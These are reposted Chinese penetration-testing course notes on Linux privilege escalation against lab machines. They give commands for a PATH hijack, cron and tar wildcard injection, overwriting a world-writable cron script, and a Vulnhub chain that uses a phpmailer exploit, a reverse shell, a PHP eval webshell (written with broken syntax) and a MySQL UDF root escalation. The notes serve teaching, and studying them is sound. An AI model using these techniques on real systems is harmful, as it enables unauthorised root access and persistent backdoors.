64:權限提升-Linux定時任務&環境變量&數據庫


本課重點

  • 案例1:linux提權本地環境變量安全-Aliyun-雞肋
  • 案例2:linux提權本地定時任務安全-Aliyun
  • 案例3:linux提權第三方服務數據庫-Vulnhub
  • 案例4:linux提權提升簡單總結歸類

案例1:linux提權本地環境變量安全-Aliyun-雞肋

這個提權方法比較雞肋,因為它需要兩個前提條件:

  • 1.需要復制suid權限
  • 2.設置環境變量需要有本地用戶權限,web權限設置不了

過程:手寫調用文件-編譯-復制文件-增加環境變量-執行觸發

gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
chmod u+s shell
./shell
id

<1>首先id查看一下當前登錄用戶權限,是本地普通用戶。

 

<2>將demo.c上傳到/home/普通用戶名/script/目錄下,編譯:gcc demo.c -o shell。demo.c就是通過system執行ps命令。

 

<3>復制文件。cp /bin/sh /tmp/ps,把/bin/sh復制給/tmp/ps,ps命令本來是用於顯示當前進程的狀態,復制后執行./ps就變成了執行sh命令。

<4>增加環境變量。export PATH=/tmp:$PATH,環境變量里新增/tmp目錄,此時執行ps命令就相當於直接執行sh命令了。

<5>執行觸發。chmod u+s shell,./shell執行觸發demo.c里面的ps命令,成功提權。$變成#

案例2:linux提權本地定時任務安全-Aliyun

第一種:路徑問題導致提權

原理:利用計划任務指向的文件的相對路徑解析問題

cat /etc/crontab
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash

<1>執行cat /etc/crontab命令,查看當前系統的定時任務,發現一個test.sh任務沒有寫絕對路徑,而且是以root權限運行的。

定時任務中的test.sh沒有寫絕對路徑,但我們知道它默認就是調用/usr/local/bin目錄下test.sh。(我們自己寫來測試用的)

打開看一下,發現此定時任務是每隔一分鍾將系統日期寫入/tmp/time.log。

等1分鍾,發現確實/tmp目錄下生成了time.log,內容是當前時間。

<2>那我們該如何利用這個定時任務提權呢?方法就是在用戶目錄下寫入一個與test.sh同名的文件,執行,此時定時任務以root身份調用的就是我們寫的 /home/xiaodi/test.sh,而不是系統原來的/usr/local/bin/test.sh,從而提權。但是測試發現並沒有提權成功,原因不知道為啥。

echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash

第二種:命令問題導致提權

原理:利用通配符配合命令參數自定義命令實現提權

提權命令

cat /etc/crontab
cd /home/undead/script;tar czf /tmp/backup.tar.gz *
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
./bash -p
id

不安全定時任務備份命令:

  • 參考命令:https://www.cnblogs.com/manong--/p/8012324.html

<1>執行cat /etc/crontab命令,查看當前系統的定時任務,發現一個名為backup.sh的備份定時任務,而且是以root權限運行的。

定時任務每分鍾執行一次,打開backup.sh,發現是將 /home/undead/script目錄下的所有文件打包為backup.tar.gz,並放到/tmp目錄下。

<2>使用以下命令,在/home/undead/script目錄下創建3個文件

echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1

<3>等待一分鍾,系統定時任務執行,打包,打開/tmp目錄查看,發現test.sh等文件打包為一個backup.tar.gz文件,但我們剛才創建的另外兩個文件並未在backup.tar.gz中,而是另外生成了一個bash文件。

這是為什么呢?原因是定時任務打包時使用了*將整個文件夾下的文件打包,而當系統真正執行打包操作時,會將目錄下的所有文件名一個一個傳參給*執行打包操作。前幾個文件都沒問題,但是當打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件時,執行的相當於

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh

而 --checkpoint、--checkpoint-action正好是tar命令的參數,打包到這里就會導致tar命令直接把--checkpoint=1和--checkpoint-action=exec=sh test.sh兩個文件名當做參數執行,而不打包文件。--checkpoint-action=exec=sh test.sh參數的意思是執行同目錄下test.sh文件,test.sh文件內容又是把 bin/bash拷貝給/tmp/bash並給/tmp/bash賦SUID權限。此時我們再執行/tmp/bash就享有了suid權限,所以這里是一環套一環的。

<4>提權利用。成功提權。

類似tar提權的命令還有chown、chmod、rsync等,大家可以自己研究一下。

第三種:權限問題導致提權

原理:利用不安全的權限分配操作導致的定時文件覆蓋

原理解讀:管理員正常創建一個文件test.sh時,默認是沒有執行權限的,此時管理員若想執行這文件,必須給它賦執行權限,正常的賦權命令是chmod +x test.sh,這樣就可以執行test.sh並且組和其他成員無法修改覆蓋這個文件(即寫權限),但是粗心的管理員會直接chmod 777 test.sh,這樣雖然也可以實現執行test.sh的目的,但是會導致權限擴大,即組和其他成員都可以對文件修改覆蓋,造成風險。

案例演示

<1>執行cat /etc/crontab命令,查看當前系統的定時任務,發現一個名為check.sh的定時任務,而且是以root權限運行的。

<2>測試check.sh文件是否有權限問題。可以以普通用戶身份直接修改check.sh文件,如果能修改成功,說明存在權限問題,也可以直接執行ls -l check.sh,查看check.sh的權限,如果是-rwxrwxrwx,說明存在權限問題。只要存在權限問題,就可利用提權。

<3>提權利用。可以模仿上述方法,直接寫入命令到定時任務check.sh,從而成功提權。

  • 首先,vim命令打開check.sh文件,寫入:cp bin/bash /tmp/bash; chmod +s /tmp/bash
  • 然后,等待定時任務執行后,執行/tmp/bash,提權成功。

案例3:linux提權第三方服務數據庫MYSQL_UDF-Vulnhub

Vulnhub某靶機-探針IP及端口-利用漏洞獲取web權限-信息收集-查看數據庫配置文件-利用Mysql提權Linux(Mysql版本區別同windows)

<1>探針IP及端口。直接探針當前自己機器IP所在網段,因為靶機就在同一網段。這里我們使用的忍者系統。

nmap 192.168.76.0/24

通過掃描找到了目標主機以及對應的web服務。

掃描目錄,發現一個目錄遍歷漏洞,打開網站目錄,發現使用了phpmailer。

<2>利用phpmailer漏洞進行修改並反彈。

(1)下載exp,修改配置(目標地址、后門等)

(2)本地監聽端口

nc -lvvp 4444

(3)執行exp

python D:/Myproject/40974.py

(4)成功反彈shell

(5)也可以打開xiaodi.php,拿到shell權限。

<3>寫入后門利用菜刀連接方便操作

echo '<?php eval($_POST[x];?)>' > 1.php

<4>上傳信息收集腳本進行提權信息收集

./LinEnum.sh

檢測到系統裝有第三方服務——mysql數據庫,版本為5.5.60

<5>翻閱數據庫配置文件獲取root密碼

cat wp-config.php

<6>利用Mysql提權 searchspolit

(1)下載mysql udf poc進行編譯(目標服務器可能沒有gcc,所以最好在本機進行編譯再上傳)
wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so

(2)下載1518到目標服務器
wget https://xx.xx.xx.xx/1518.so

(3)進入數據庫進行UDF導出(root連接)
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

(4)創建do_system函數調用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

<7>配合使用find調用執行

touch xiaodi 
find xiaodi -exec "whoami" \;
find xiaodi -exec "/bin/sh" \;
id

案例4:linux提權提升簡單總結歸類-參考PDF

1、提權環境,信息收集(主要關注:SUID,定時任務,可能漏洞,第三方服務應用等)

2、最新相關漏洞要明確(關注點),二次開發相關腳本學會展望(四個腳本)

  • 信息收集腳本比如linux-exploit-suggester.sh並不能實時更新,因此一些最新漏洞就無法收錄,此時可以自己二次開發,放入最新漏洞。

3、本地searchsploit腳本及遠程exploitdb站點搜索說明(簡要使用)

  • searchsploit
    • (1)下載:https://github.com/offensive-security/exploitdb
    • (2)忍者系統集成,比如可以直接在忍者系統命令行searchsploit mysql搜索mysql相關漏洞,如圖4.3
  • 最新漏洞官網在線搜索:https://www.exploit-db.com
    • 這個漏洞庫是國外的,收錄的漏洞也是一些國際上用的比較多的軟件,如果想要查找一些國內小眾cms之類的漏洞,可以去國內的漏洞庫查看。

4、其他提權方法,如:

  • 密碼復用(主要靠運氣,看弱密碼)
  • guid提權(與suid提權同理,只是搜索語句不同,如圖4.4)
  • sudo提權(很雞肋,沒鳥用)
    • sudo說明參考:CVE-2019-14287:sudo權限繞過漏洞分析與復現(https://www.freebuf.com/vuls/217089.html)

圖4.3

圖4.4

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM